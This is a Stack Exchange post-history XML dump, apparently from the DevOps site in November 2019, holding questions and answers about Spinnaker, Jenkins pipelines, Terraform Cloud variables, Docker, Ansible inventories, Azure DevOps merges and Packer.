  <row Id="29608" PostHistoryTypeId="2" PostId="9886" RevisionGUID="a45361ef-322a-4efd-8e40-c2da88b69507" CreationDate="2019-11-22T01:18:31.213" UserId="11221" Text="I installed Spinnaker onto a Kubernetes cluster via Helm. I have tried to add the ECR registry as per the docs and so far not working. I found that the aws cli is missing even though in issue [2394][1] it was adding into the Dockerfile, looks like as of master it is included still. Wondering what helm used that was so wrong to not have it?&#xD;&#xA;&#xD;&#xA;Am I missing something?&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://github.com/spinnaker/spinnaker/issues/2394" ContentLicense="CC BY-SA 4.0" />
  <row Id="29609" PostHistoryTypeId="1" PostId="9886" RevisionGUID="a45361ef-322a-4efd-8e40-c2da88b69507" CreationDate="2019-11-22T01:18:31.213" UserId="11221" Text="Issue connecting to ECR using Spinnaker on Kubernetes" ContentLicense="CC BY-SA 4.0" />
  <row Id="29610" PostHistoryTypeId="3" PostId="9886" RevisionGUID="a45361ef-322a-4efd-8e40-c2da88b69507" CreationDate="2019-11-22T01:18:31.213" UserId="11221" Text="&lt;amazon-web-services&gt;&lt;kubernetes&gt;&lt;cicd&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="29611" PostHistoryTypeId="2" PostId="9887" RevisionGUID="f092ea6e-ba4f-4149-ac19-903e11b61b4d" CreationDate="2019-11-22T01:37:29.240" UserId="18317" Text="In declarative pipelines, Jenkins allows the definition of [parallel stages](https://jenkins.io/doc/book/pipeline/syntax/#parallel). It further allows [scripted pipeline general purpose scripts](https://jenkins.io/doc/book/pipeline/syntax/#script) to create and manipulate the artifacts of the declarative pipeline. For example, it can create `stages` dynamically.&#xD;&#xA;&#xD;&#xA;I would like to know how I can *dynamically* create *parallel executing stages*. Please note I am not talking about *steps* or actions, which are solved here:&#xD;&#xA;&#xD;&#xA;https://devops.stackexchange.com/questions/3073/how-to-properly-achieve-dynamic-parallel-action-with-a-declarative-pipeline" ContentLicense="CC BY-SA 4.0" />
  <row Id="29612" PostHistoryTypeId="1" PostId="9887" RevisionGUID="f092ea6e-ba4f-4149-ac19-903e11b61b4d" CreationDate="2019-11-22T01:37:29.240" UserId="18317" Text="How can I define dynamic parallel stages in a Jenkinsfile?" ContentLicense="CC BY-SA 4.0" />
  <row Id="29613" PostHistoryTypeId="3" PostId="9887" RevisionGUID="f092ea6e-ba4f-4149-ac19-903e11b61b4d" CreationDate="2019-11-22T01:37:29.240" UserId="18317" Text="&lt;jenkins-pipeline&gt;&lt;jenkinsfile&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="29614" PostHistoryTypeId="10" PostId="9887" RevisionGUID="0cd5e6bc-8339-4765-81fd-69df3f0806e2" CreationDate="2019-11-22T09:01:42.150" UserId="210" Comment="103" Text="{&quot;Voters&quot;:[{&quot;Id&quot;:210,&quot;DisplayName&quot;:&quot;030&quot;}]}" />
  <row Id="29615" PostHistoryTypeId="2" PostId="9888" RevisionGUID="cfe91dd5-801a-4072-b708-e39098ba3a2d" CreationDate="2019-11-22T09:37:06.933" UserId="397" Text="[Terraform Cloud][1] is a SaaS platform for managing Terraform runs, state and variables.  Once you have created a project you can set environment variables via the following page:&#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;https://app.terraform.io/app/[organization]/workspaces/[workspace]/variables&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;[![Terraform Cloud Variables Page for Project][2]][2]&#xD;&#xA;&#xD;&#xA;These environment variables are then set when Terraform executes a run.  Out of an abundance of a desire to automate this process, I have scripted the process of generating these environments variables:&#xD;&#xA;&#xD;&#xA;```PowerShell&#xD;&#xA;$SubscriptionId = &quot;&lt;subscription-id&gt;&quot;&#xD;&#xA;$PrincipalName = &quot;http://&lt;service-principal-name&gt;&quot;&#xD;&#xA;$SubscriptionUrl = &quot;/subscriptions/$SubscriptionId&quot;&#xD;&#xA;&#xD;&#xA;az cloud set --name &quot;AzureCloud&quot; | Out-Null&#xD;&#xA;az account set --subscription $SubscriptionId | Out-Null&#xD;&#xA;&#xD;&#xA;$ServicePrincipal = az ad sp create-for-rbac --role=&quot;Owner&quot; --scopes=$SubscriptionUrl --name $PrincipalName | ConvertFrom-Json&#xD;&#xA;&#xD;&#xA;$env:ARM_CLIENT_ID=$ServicePrincipal.appId&#xD;&#xA;$env:ARM_CLIENT_SECRET=$ServicePrincipal.password&#xD;&#xA;$env:ARM_SUBSCRIPTION_ID=$SubscriptionId&#xD;&#xA;$env:ARM_TENANT_ID=$ServicePrincipal.tenant&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;This works, however, I would like to extend the script to be able to push the variables to the appropriate Terraform Workspace.  I am aware that there is a [RESTful Variables API][3] that I can call although I was hoping for a solution that used the `terraform` command-line interface rather than relying on parsing `backend.tf` and calling a REST API from a script.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://www.terraform.io/docs/cloud/index.html&#xD;&#xA;  [2]: https://i.stack.imgur.com/v02sC.png&#xD;&#xA;  [3]: https://www.terraform.io/docs/cloud/api/variables.html" ContentLicense="CC BY-SA 4.0" />
  <row Id="29616" PostHistoryTypeId="1" PostId="9888" RevisionGUID="cfe91dd5-801a-4072-b708-e39098ba3a2d" CreationDate="2019-11-22T09:37:06.933" UserId="397" Text="Set Terraform Cloud environment variables from the command line" ContentLicense="CC BY-SA 4.0" />
  <row Id="29617" PostHistoryTypeId="3" PostId="9888" RevisionGUID="cfe91dd5-801a-4072-b708-e39098ba3a2d" CreationDate="2019-11-22T09:37:06.933" UserId="397" Text="&lt;terraform&gt;&lt;automation&gt;&lt;terraform-workspace&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="29618" PostHistoryTypeId="4" PostId="9888" RevisionGUID="8a15b392-7bea-40b3-a557-8cfa50dd4dc2" CreationDate="2019-11-22T09:58:19.257" UserId="210" Comment="edited title" Text="How to set Terraform Cloud environment variables from the command line?" ContentLicense="CC BY-SA 4.0" />
  <row Id="29619" PostHistoryTypeId="2" PostId="9889" RevisionGUID="d9b19231-a5bc-4fa2-8459-1840c3b1d363" CreationDate="2019-11-22T10:21:08.053" UserId="18152" Text="How do I get php version used by docker image phpdoc/phpdoc (https://hub.docker.com/r/phpdoc/phpdoc)?&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="29620" PostHistoryTypeId="1" PostId="9889" RevisionGUID="d9b19231-a5bc-4fa2-8459-1840c3b1d363" CreationDate="2019-11-22T10:21:08.053" UserId="18152" Text="Get php version used by docker image phpdoc/phpdoc" ContentLicense="CC BY-SA 4.0" />
  <row Id="29621" PostHistoryTypeId="3" PostId="9889" RevisionGUID="d9b19231-a5bc-4fa2-8459-1840c3b1d363" CreationDate="2019-11-22T10:21:08.053" UserId="18152" Text="&lt;docker&gt;&lt;php&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="29622" PostHistoryTypeId="2" PostId="9890" RevisionGUID="706b5c63-4f2e-4a36-adb1-d60fe41de752" CreationDate="2019-11-22T10:23:39.020" UserId="210" Text="The Dockerfile provided in the Q&amp;A indicates that the image uses the latest `php:7` as a base image. One could inspect the version as follows:    &#xD;&#xA;&#xD;&#xA;    docker run -it php:7 php -v&#xD;&#xA;    PHP 7.3.11 (cli) (built: Oct 25 2019 02:24:51) ( NTS )&#xD;&#xA;    Copyright (c) 1997-2018 The PHP Group&#xD;&#xA;    Zend Engine v3.3.11, Copyright (c) 1998-2018 Zend Technologies" ContentLicense="CC BY-SA 4.0" />
  <row Id="29623" PostHistoryTypeId="4" PostId="9889" RevisionGUID="d4501283-fc32-46f2-9e53-1ec69462386b" CreationDate="2019-11-22T10:28:47.520" UserId="210" Comment="edited title" Text="How to find the PHP version that is used by the latest `phpdoc/phpdoc` docker image?" ContentLicense="CC BY-SA 4.0" />
  <row Id="29624" PostHistoryTypeId="5" PostId="9889" RevisionGUID="d4501283-fc32-46f2-9e53-1ec69462386b" CreationDate="2019-11-22T10:28:47.520" UserId="210" Comment="edited title" Text="How do I get php version used by docker image [phpdoc/phpdoc](https://hub.docker.com/r/phpdoc/phpdoc)?&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="29625" PostHistoryTypeId="5" PostId="9890" RevisionGUID="f09be8db-b7ea-4fd9-9f4c-a4d8edbc4917" CreationDate="2019-11-22T10:32:41.147" UserId="210" Comment="[Edit removed during grace period]; added 16 characters in body" Text="The Dockerfile provided in the Q&amp;A indicates that the image uses the latest `php:7` as a base image. One could inspect the version as follows:    &#xD;&#xA;&#xD;&#xA;    docker run -it php:7 php -v&#xD;&#xA;&#xD;&#xA;**Result**&#xD;&#xA;&#xD;&#xA;    PHP 7.3.11 (cli) (built: Oct 25 2019 02:24:51) ( NTS )&#xD;&#xA;    Copyright (c) 1997-2018 The PHP Group&#xD;&#xA;    Zend Engine v3.3.11, Copyright (c) 1998-2018 Zend Technologies" ContentLicense="CC BY-SA 4.0" />
  <row Id="29630" PostHistoryTypeId="5" PostId="9890" RevisionGUID="9f08cc5d-b281-452f-8cfa-a1580e2e4db7" CreationDate="2019-11-22T11:24:42.590" UserId="210" Comment="added 446 characters in body" Text="The Dockerfile provided in the Q&amp;A indicates that the image uses the latest `php:7` as a base image. One could inspect the version as follows:    &#xD;&#xA;&#xD;&#xA;    docker run -it php:7 php -v&#xD;&#xA;&#xD;&#xA;**Result**&#xD;&#xA;&#xD;&#xA;    PHP 7.3.11 (cli) (built: Oct 25 2019 02:24:51) ( NTS )&#xD;&#xA;    Copyright (c) 1997-2018 The PHP Group&#xD;&#xA;    Zend Engine v3.3.11, Copyright (c) 1998-2018 Zend Technologies&#xD;&#xA;&#xD;&#xA;---&#xD;&#xA;&#xD;&#xA;**How to use an older version of php in conjunction with this container?**&#xD;&#xA;&#xD;&#xA;It is possible to use a specific version by checking the [tags of php on dockerhub][1]. According to this list, `7.2.25` is currently the latest `7.2`. If one changes the from of the Dockerfile to `FROM php:7.2.25` and build the image again, then `7.2.25` instead `7.3.11` will be used inside the container.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://hub.docker.com/_/php?tab=tags" ContentLicense="CC BY-SA 4.0" />
  <row Id="29634" PostHistoryTypeId="2" PostId="9893" RevisionGUID="192927d9-f452-4902-a611-0e53001724d0" CreationDate="2019-11-22T12:43:48.223" UserId="18136" Text="I have workflow with 2 templates. First I add new host to my hosts.ini file:&#xD;&#xA;&#xD;&#xA;    - name: Add to host file&#xD;&#xA;         blockinfile:&#xD;&#xA;           path: /var/lib/awx/projects/_52__glusterfs/hosts.ini&#xD;&#xA;           block: |&#xD;&#xA;             gluster1 ansible_user=&lt;user&gt; ansible_host=&lt;ip&gt;&#xD;&#xA;&#xD;&#xA;And second I wait for host up:&#xD;&#xA;&#xD;&#xA;    ---&#xD;&#xA;    - name: Weit befor all hosts ssh up&#xD;&#xA;      hosts: localhost&#xD;&#xA;      tasks:&#xD;&#xA;       - name: Test 1&#xD;&#xA;         shell: cat hosts.ini&#xD;&#xA;       - name: Test 2&#xD;&#xA;         shell: cat /var/lib/awx/projects/_52__glusterfs/hosts.ini&#xD;&#xA;       - name: Test 3&#xD;&#xA;         shell: cat ansible.cfg&#xD;&#xA;       - name: Wait for hosts up&#xD;&#xA;         wait_for:&#xD;&#xA;           host: gluster1&#xD;&#xA;           port: 22&#xD;&#xA;&#xD;&#xA;But i get eror:&#xD;&#xA;&#xD;&#xA;     [WARNING]: provided hosts list is empty, only localhost is available. Note&#xD;&#xA;    that the implicit localhost does not match 'all'&#xD;&#xA;&#xD;&#xA;So output from tests in template 2 is (pseudocode output):&#xD;&#xA;&#xD;&#xA;    shell: cat hosts.ini&#xD;&#xA;    &gt;&gt;&gt; &#xD;&#xA;    [gluster]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;----------&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;    shell: cat /var/lib/awx/projects/_52__glusterfs/hosts.ini&#xD;&#xA;    &gt;&gt;&gt; &#xD;&#xA;    [gluster]&#xD;&#xA;    gluster1 ansible_user=&lt;user&gt; ansible_host=&lt;ip&gt;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;----------&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;    shell: cat ansible.cfg&#xD;&#xA;    &gt;&gt;&gt; &#xD;&#xA;    [defaults]&#xD;&#xA;    inventory = /var/lib/awx/projects/_52__glusterfs/hosts.ini&#xD;&#xA;    host_key_checking = false&#xD;&#xA;    &#xD;&#xA;    [ssh_connection]&#xD;&#xA;    ssh_args = -o ControlMaster=auto -o ControlPersist=60s -o UserKnownHostsFile=/dev/null&#xD;&#xA;    &#xD;&#xA;    [inventory]&#xD;&#xA;    enable_plugins = host_list, script, auto, yaml, ini, toml&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;Why I have empty hosts.ini in my execute directory and why ansible use it instead of `/var/lib/awx/projects/_52__glusterfs/hosts.ini` in my `ansible.cfg` file?" ContentLicense="CC BY-SA 4.0" />
  <row Id="29635" PostHistoryTypeId="1" PostId="9893" RevisionGUID="192927d9-f452-4902-a611-0e53001724d0" CreationDate="2019-11-22T12:43:48.223" UserId="18136" Text="How to use edited inventory file?" ContentLicense="CC BY-SA 4.0" />
  <row Id="29636" PostHistoryTypeId="3" PostId="9893" RevisionGUID="192927d9-f452-4902-a611-0e53001724d0" CreationDate="2019-11-22T12:43:48.223" UserId="18136" Text="&lt;ansible&gt;&lt;centos&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="29637" PostHistoryTypeId="4" PostId="9798" RevisionGUID="57b0901a-c12a-4857-8104-2242059d27e8" CreationDate="2019-11-22T12:51:33.897" UserId="7772" Comment="edited title" Text="Kubernetes installation, configuration and verification in a local environment" ContentLicense="CC BY-SA 4.0" />
  <row Id="29642" PostHistoryTypeId="2" PostId="9895" RevisionGUID="da409ecb-f7f0-4406-bf08-0d75fe64e2a7" CreationDate="2019-11-22T15:04:35.890" UserId="6282" Text="The instructions given here:&#xD;&#xA;https://docs.microsoft.com/en-us/azure/devops/repos/git/merging?view=azure-devops&amp;tabs=visual-studio&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;do not match the UI I am working with&#xD;&#xA;&#xD;&#xA;[![enter image description here][1]][1]&#xD;&#xA;&#xD;&#xA;all I want to do is resolve this merge conflict its complaining about.&#xD;&#xA;&#xD;&#xA;with Git I would have pulled those conflicts onto my local and resolved them already.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://i.stack.imgur.com/fouVZ.png&#xD;&#xA;&#xD;&#xA;To be clear, I have done a `git pull`, it says `Already up to date.`&#xD;&#xA;&#xD;&#xA;I also tried:&#xD;&#xA;&#xD;&#xA;    git pull origin feature/ENGA-2514&#xD;&#xA;    From ssh.dev.azure.com:v3/nfib/NfibEnterprise/engage.mobile&#xD;&#xA;     * branch                feature/ENGA-2514 -&gt; FETCH_HEAD&#xD;&#xA;    Already up to date." ContentLicense="CC BY-SA 4.0" />
  <row Id="29643" PostHistoryTypeId="1" PostId="9895" RevisionGUID="da409ecb-f7f0-4406-bf08-0d75fe64e2a7" CreationDate="2019-11-22T15:04:35.890" UserId="6282" Text="How to resolve merge conflicts in Azure DevOps current UI" ContentLicense="CC BY-SA 4.0" />
  <row Id="29644" PostHistoryTypeId="3" PostId="9895" RevisionGUID="da409ecb-f7f0-4406-bf08-0d75fe64e2a7" CreationDate="2019-11-22T15:04:35.890" UserId="6282" Text="&lt;git&gt;&lt;azure-devops&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="29645" PostHistoryTypeId="5" PostId="9895" RevisionGUID="4362e6b6-e7fc-4f1d-b3a7-dc5408c4a6e8" CreationDate="2019-11-22T15:14:30.417" UserId="6282" Comment="added more detail" Text="I have followed the instructions on command line:&#xD;&#xA;https://docs.microsoft.com/en-us/azure/devops/repos/git/merging?view=azure-devops&amp;tabs=visual-studio&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;[![enter image description here][1]][1]&#xD;&#xA;&#xD;&#xA;all I want to do is resolve this merge conflict its complaining about.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://i.stack.imgur.com/fouVZ.png&#xD;&#xA;&#xD;&#xA;To be clear, I have done a `git pull`, it says `Already up to date.`&#xD;&#xA;&#xD;&#xA;I also tried:&#xD;&#xA;&#xD;&#xA;    git pull origin feature/ENGA-2514&#xD;&#xA;    From ssh.dev.azure.com:v3/nfib/NfibEnterprise/engage.mobile&#xD;&#xA;     * branch                feature/ENGA-2514 -&gt; FETCH_HEAD&#xD;&#xA;    Already up to date.&#xD;&#xA;&#xD;&#xA;I have also tried:&#xD;&#xA;&#xD;&#xA;    git log --merge&#xD;&#xA;    fatal: --merge without MERGE_HEAD?&#xD;&#xA;&#xD;&#xA;Where is this elusive merge conflict?" ContentLicense="CC BY-SA 4.0" />
  <row Id="29646" PostHistoryTypeId="2" PostId="9896" RevisionGUID="40d955f9-d81d-4b03-ad42-5154baeeb22c" CreationDate="2019-11-22T15:47:56.700" UserId="18304" Text="So I am working on a research project and I am trying to automatically generate specific environments on different virtualization techniques.  &#xD;&#xA;&#xD;&#xA;So, first I made a Vagrantfile that pulls an Ubuntu image and then runs an Ansible  playbook. I have a playbook that defines everything for my environment.&#xD;&#xA;Which means it copies files, installs and configures everything.&#xD;&#xA;For VirtualBox this is no problem, - it spins up my environment in VirtualBox.&#xD;&#xA;&#xD;&#xA;Now I want to do this exact same thing, but on Docker. Normally one would write a docker file to define the environment. What I want to do is re-use the Ansible script to define the environment (despite being a bit counter-intuitive). While there seems to be some support for Docker in Vagrant - what is the best way to achieve what I want. I want to create a Docker Container - exactly how specified in the Ansible playbook. (Basically re-using the playbook I also used to setup VirtualBox). The output should then be a docker image that I can just start with docker run.&#xD;&#xA;&#xD;&#xA;Whats the best way to do this? What do I have to look out for?  " ContentLicense="CC BY-SA 4.0" />
  <row Id="29647" PostHistoryTypeId="1" PostId="9896" RevisionGUID="40d955f9-d81d-4b03-ad42-5154baeeb22c" CreationDate="2019-11-22T15:47:56.700" UserId="18304" Text="Build Docker Images with Ansible + Vagrant" ContentLicense="CC BY-SA 4.0" />
  <row Id="29648" PostHistoryTypeId="3" PostId="9896" RevisionGUID="40d955f9-d81d-4b03-ad42-5154baeeb22c" CreationDate="2019-11-22T15:47:56.700" UserId="18304" Text="&lt;docker&gt;&lt;ansible&gt;&lt;vagrant&gt;&lt;environments&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="29649" PostHistoryTypeId="2" PostId="9897" RevisionGUID="80cff5cb-d68b-46e1-a06d-ce2cc1a66af7" CreationDate="2019-11-22T15:56:37.077" UserId="397" Text="You probably don't want to delete the file, just remove it from your path.  You will need to look through your System and Account environment variables and look for `PATH` and remove `C:\Program Files\Docker\Docker\Resources\bin\`.&#xD;&#xA;&#xD;&#xA;There is a good chance it that that will just work, I have both Docker Desktop and `gcloud` installed on this computer and I don't have the folder above in my `PATH` and both products work just fine without any warnings about old tools hanging about.&#xD;&#xA;&#xD;&#xA;If you do continue to run into problems, for example with MiniKube, it can be helpful to use the `Get-Command` PowerShell command to figure out which executable is getting called:&#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;Get-Command kubectl | Format-List&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;Will give you the full path to the executable that would be run if you issued the command `kubectl`:&#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;Name            : kubectl.exe&#xD;&#xA;CommandType     : Application&#xD;&#xA;Definition      : C:\Program Files\Docker\Docker\Resources\bin\kubectl.exe&#xD;&#xA;Extension       : .exe&#xD;&#xA;Path            : C:\Program Files\Docker\Docker\Resources\bin\kubectl.exe&#xD;&#xA;FileVersionInfo : File:             C:\Program Files\Docker\Docker\Resources\bin\kubectl.exe&#xD;&#xA;                  InternalName:&#xD;&#xA;                  OriginalFilename:&#xD;&#xA;                  FileVersion:&#xD;&#xA;                  FileDescription:&#xD;&#xA;                  Product:&#xD;&#xA;                  ProductVersion:&#xD;&#xA;                  Debug:            False&#xD;&#xA;                  Patched:          False&#xD;&#xA;                  PreRelease:       False&#xD;&#xA;                  PrivateBuild:     False&#xD;&#xA;                  SpecialBuild:     False&#xD;&#xA;                  Language:&#xD;&#xA;```" ContentLicense="CC BY-SA 4.0" />
  <row Id="29650" PostHistoryTypeId="50" PostId="9526" RevisionGUID="cf70915f-333b-49be-b41e-838a21431128" CreationDate="2019-11-22T16:01:55.280" UserId="-1" />
  <row Id="29651" PostHistoryTypeId="5" PostId="9896" RevisionGUID="f4c63ffe-93d8-47a1-a7fb-0a86c0bebb0c" CreationDate="2019-11-22T16:29:34.147" UserId="18304" Comment="added 438 characters in body" Text="So I am working on a research project and I am trying to automatically generate specific environments on different virtualization techniques.  &#xD;&#xA;&#xD;&#xA;So, first I made a Vagrantfile that pulls an Ubuntu image and then runs an Ansible  playbook. I have a playbook that defines everything for my environment.&#xD;&#xA;Which means it copies files, installs and configures everything.&#xD;&#xA;For VirtualBox this is no problem, - it spins up my environment in VirtualBox.&#xD;&#xA;&#xD;&#xA;Now I want to do this exact same thing, but on Docker. Normally one would write a docker file to define the environment. What I want to do is re-use the Ansible script to define the environment (despite being a bit counter-intuitive). While there seems to be some support for Docker in Vagrant - what is the best way to achieve what I want. I want to create a Docker Container - exactly how specified in the Ansible playbook. (Basically re-using the playbook I also used to setup VirtualBox). The output should then be a docker image that I can just start with docker run.&#xD;&#xA;&#xD;&#xA;Whats the best way to do this? What do I have to look out for?  &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;My current idea is the following:&#xD;&#xA;&#xD;&#xA;    1) Setup a VM with Vagrant.&#xD;&#xA;    2) Install Ansible and Docker in that VM.&#xD;&#xA;    3) Create a new Docker Image with Ansible. It just defines the Container OS and maybe opens a port so Ansible can SSH into the container?&#xD;&#xA;    4) Run the playbook in the container to configure everything.&#xD;&#xA;    5) Package the entire thing as a new image&#xD;&#xA;    6) Transfer packaged docker image to the host machine" ContentLicense="CC BY-SA 4.0" />
  <row Id="29652" PostHistoryTypeId="2" PostId="9898" RevisionGUID="61a6bd14-b61d-42c8-bd62-4fe4d4f4444a" CreationDate="2019-11-22T16:46:21.253" UserId="354" Text="If it's within scope, I would use [Packer](https://packer.io) to build the artifacts.&#xD;&#xA;&#xD;&#xA;- Write a [Packer template](https://www.packer.io/docs/templates/index.html) using the builders that you want:&#xD;&#xA;  - [Vagrant builder](https://www.packer.io/docs/builders/vagrant.html) for the Vagrant image&#xD;&#xA;  - [Docker builder](https://www.packer.io/docs/builders/docker.html) for the Docker image.&#xD;&#xA;- Use the same Ansible playbook as you already have to provision each of the builders.&#xD;&#xA;&#xD;&#xA;Note that you need to make sure that the Ansible playbook will work in both types of virtualised environments.&#xD;&#xA;&#xD;&#xA;This has the benefit of producing arbitrary types of artifacts, based off of a single input. You can use a single workflow for both the Vagrant and the Docker images, and they will be built off of the same state of the codebase (_i.e._ git hash)." ContentLicense="CC BY-SA 4.0" />
  <row Id="29653" PostHistoryTypeId="2" PostId="9899" RevisionGUID="9879fec5-d11e-468e-af32-ffa97763342a" CreationDate="2019-11-22T16:50:17.497" UserId="18218" Text="I came here in addition of previous answer of @effi-bar-shean and @langkilde which give a good overview of the problem. My answer will be focus for JavaScript &#xD;&#xA;&#xD;&#xA;&gt; How to build on part of monorepo that have changed ?&#xD;&#xA;&#xD;&#xA;You can use the [2.0 API](https://github.com/CircleCI-Public/api-preview-docs/) of [CircleCI](https://github.com/CircleCI-Public/) which allow you to trigger multiples workflow separately. If you have a JavaScript monorepo you can use a tool like [lerna](https://github.com/lerna/lerna) to trigger the workflow of your choice&#xD;&#xA;&#xD;&#xA;Example:&#xD;&#xA;The output of `lerna changed -a` gives you all repository that have changed then you have to trigger the workflow of theses packages. You can see a [full example here](https://tech.julienkarst.com/how-to-setup-circleci-inside-a-monorepo)&#xD;&#xA;&#xD;&#xA;[Here is an example](https://github.com/JulienKode/circleci-monorepo-example) of repository for Javascript monorepo &#xD;&#xA;&#xD;&#xA;I hope my answer help you &#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="29654" PostHistoryTypeId="2" PostId="9900" RevisionGUID="bd694777-7c77-4e67-a9a1-99f42d9288df" CreationDate="2019-11-22T17:45:31.267" UserId="2463" Text="It seems like the intent of this expression is to take the result of encoding that data structure which contains numbers and boolean values in quotes and produce a new version with those values unquoted.&#xD;&#xA;&#xD;&#xA;For example, anywhere the result contains the sequence `&quot;true&quot;` it would be replaced with `true`, quotes removed to produce a real JSON boolean value rather than a string.&#xD;&#xA;&#xD;&#xA;A more direct way to achieve that result would be to set the values in `cadvisor_container_definition` to be of the intended type immediately:&#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;locals {&#xD;&#xA;  cadvisor_container_definition = {&#xD;&#xA;    name         = local.cadvisor_container&#xD;&#xA;    image        = &quot;google/cadvisor:latest&quot;&#xD;&#xA;    portMappings = [&#xD;&#xA;      {&#xD;&#xA;        containerPort = 8080&#xD;&#xA;        hostPort      = 8080&#xD;&#xA;      },&#xD;&#xA;    ]&#xD;&#xA;    mountPoints = [&#xD;&#xA;      {&#xD;&#xA;        sourceVolume  = &quot;root&quot;&#xD;&#xA;        containerPath = &quot;/rootfs&quot;&#xD;&#xA;        readOnly      = true&#xD;&#xA;      },&#xD;&#xA;      {&#xD;&#xA;        sourceVolume  = &quot;var_run&quot;&#xD;&#xA;        containerPath = &quot;/var/run&quot;&#xD;&#xA;        readOnly      = false&#xD;&#xA;      },&#xD;&#xA;      {&#xD;&#xA;        sourceVolume  = &quot;sys&quot;&#xD;&#xA;        containerPath = &quot;/sys&quot;&#xD;&#xA;        readOnly      = true&#xD;&#xA;      },&#xD;&#xA;      {&#xD;&#xA;        sourceVolume  = &quot;var_lib_docker&quot;&#xD;&#xA;        containerPath = &quot;/var/lib/docker&quot;&#xD;&#xA;        readOnly      = true&#xD;&#xA;      },&#xD;&#xA;      {&#xD;&#xA;        sourceVolume  = &quot;cgroup&quot;,&#xD;&#xA;        containerPath = &quot;/sys/fs/cgroup&quot;&#xD;&#xA;        readOnly      = true&#xD;&#xA;      }&#xD;&#xA;    ]&#xD;&#xA;    memory            = var.cadvisor_memory[var.env]&#xD;&#xA;    memoryReservation = var.cadvisor_memory_reservation[var.env]&#xD;&#xA;  }&#xD;&#xA;}&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;I changed the literal values in the above to their numeric or boolean equivalents. I can't see from what you shared whether `memory` and `memoryReservation` are also supposed to be numbers, but if they are then that can be arranged by writing `tonumber(var.cadvisor_memory[var.env])` and `tonumber(var.cadvisor_memory_reservation[var.env])`.&#xD;&#xA;&#xD;&#xA;The above examples use Terraform 0.12 syntax. It's possible that the configuration you are looking at here is written for Terraform 0.11 instead, which would explain this unusual string substitution technique because the Terraform 0.11 version of `jsonencode` suffered from Terraform 0.11's tendency to convert all primitive-typed values to strings. If you are still using Terraform 0.11 then the strange expression you found is likely still needed, but if you are using Terraform 0.12 then a change like I described above should work to simplify the confusing expression to just a straightforward `jsonencode`:&#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;jsonencode([local.cadvisor_container_definition])&#xD;&#xA;```&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="29658" PostHistoryTypeId="2" PostId="9902" RevisionGUID="04e6bf9d-6f02-43d3-b718-bc8de2f20ef4" CreationDate="2019-11-22T20:04:06.893" UserId="16151" Text="After further research, it's evident that it's currently impossible to do this natively.  Therefore, we have to do this in the shell with the `command` module:&#xD;&#xA;&#xD;&#xA;```sh&#xD;&#xA;command: openstack container set --property Full-Key={{ KEY }} {{ CONTAINER }}&#xD;&#xA;```" ContentLicense="CC BY-SA 4.0" />
  <row Id="29662" PostHistoryTypeId="2" PostId="9904" RevisionGUID="420f9e16-43cc-4a8a-a1f8-152a5df430de" CreationDate="2019-11-22T20:23:57.263" UserId="18007" Text="I have the below code in the jenkisn pipeline:&#xD;&#xA;&#xD;&#xA;       stage (&quot;amd_distribution_input_transformation&quot;){&#xD;&#xA;            steps{&#xD;&#xA;                script{&#xD;&#xA;                        amd_distribution_input_transformation url: params.DOMAIN_DESCRIPTOR_URL, secret: params.CERDENITAL_ID&#xD;&#xA;                    }&#xD;&#xA;                }&#xD;&#xA;            }&#xD;&#xA;&#xD;&#xA;amd_distribution_input_transformation.groovy content:&#xD;&#xA;&#xD;&#xA;    def call(Map parameters)&#xD;&#xA;    {&#xD;&#xA;        def CREDENITAL_ID = parameters.secret&#xD;&#xA;        def DOMAIN_DESCRIPTOR_URL = parameters.url&#xD;&#xA;        sh '''&#xD;&#xA;            python amd_distribution_input_transformation.py&#xD;&#xA;          '''&#xD;&#xA;        }             &#xD;&#xA;    }&#xD;&#xA;&#xD;&#xA;in the amd_distribution_input_transformation.py some code is running, and at the end, it returns object named 'artifacts_list'&#xD;&#xA;&#xD;&#xA;my question is, how can I use this object as an input parameter in my next stage in the pipeline:&#xD;&#xA;&#xD;&#xA;    stage (&quot;create bundle&quot;){&#xD;&#xA;                steps{&#xD;&#xA;                    script{&#xD;&#xA;                        amd_distribution_create_bundle credential_id: artifacts_list&#xD;&#xA;                        }&#xD;&#xA;                    }&#xD;&#xA;                }&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="29663" PostHistoryTypeId="1" PostId="9904" RevisionGUID="420f9e16-43cc-4a8a-a1f8-152a5df430de" CreationDate="2019-11-22T20:23:57.263" UserId="18007" Text="How to use in Jenkins pipeline the output from first stage as an input parameter for the second stage" ContentLicense="CC BY-SA 4.0" />
